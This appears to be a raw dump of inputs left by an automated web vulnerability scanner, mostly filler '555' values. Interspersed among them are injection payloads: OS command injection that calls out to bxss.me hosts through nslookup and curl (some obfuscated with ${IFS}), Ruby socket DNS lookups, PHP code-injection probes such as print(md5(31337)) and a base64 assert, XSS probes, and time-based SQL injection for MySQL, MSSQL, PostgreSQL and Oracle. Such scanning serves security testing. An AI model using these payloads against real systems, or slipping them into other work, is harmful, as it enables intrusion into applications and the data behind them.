`(nslookup -q=cname hitmvfcphgfknbd0ea.bxss.me||curl hitmvfcphgfknbd0ea.bxss.me)`
555
555
555
;(nslookup -q=cname hitvpfckdiidk5cf50.bxss.me||curl hitvpfckdiidk5cf50.bxss.me)|(nslookup -q=cname hitvpfckdiidk5cf50.bxss.me||curl hitvpfckdiidk5cf50.bxss.me)&(nslookup -q=cname hitvpfckdiidk5cf50.bxss.me||curl hitvpfckdiidk5cf50.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hityiqenbikamd808e.bxss.me||curl${IFS}hityiqenbikamd808e.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitpqtmommkzfab662.bxss.me||curl${IFS}hitpqtmommkzfab662.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpqtmommkzfab662.bxss.me||curl${IFS}hitpqtmommkzfab662.bxss.me)&`'
'"
555
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
'"()
555
HttP://bxss.me/t/xss.html?%00
555'&&sleep(27*1000)*wrwdgl&&'
555
555
bxss.me/t/xss.html?%00
555"&&sleep(27*1000)*yyochn&&"
555
555'||sleep(27*1000)*qdowsx||'
555
555
555
555
555
555"||sleep(27*1000)*yjunul||"
555
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(101).concat(88).concat(99).concat(78)+(require"socket" Socket.gethostbyname("hitxo"+"qsdwilroc588c.bxss.me.")[3].to_s)+"
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
'+'A'.concat(70-3).concat(22*4).concat(105).concat(76).concat(112).concat(77)+(require'socket' Socket.gethostbyname('hitsf'+'zmgydexue857e.bxss.me.')[3].to_s)+'
';print(md5(31337));$a='
555
'A'.concat(70-3).concat(22*4).concat(99).concat(79).concat(113).concat(66)+(require'socket' Socket.gethostbyname('hitxh'+'lepzoqsd44adc.bxss.me.')[3].to_s)
555
";print(md5(31337));$a="
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
${@print(md5(31337))}
${@print(md5(31337))}\
555
555
555
555
555
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
555
555
555
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555zEyR6VZz'; waitfor delay '0:0:15' --
555-1 OR 160=(SELECT 160 FROM PG_SLEEP(15))--
555-1) OR 107=(SELECT 107 FROM PG_SLEEP(15))--
555-1)) OR 479=(SELECT 479 FROM PG_SLEEP(15))--
555QYHO6ikf' OR 93=(SELECT 93 FROM PG_SLEEP(15))--
555KPzH1i0G') OR 721=(SELECT 721 FROM PG_SLEEP(15))--
555ClLpYK9u')) OR 272=(SELECT 272 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@bIQoi
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555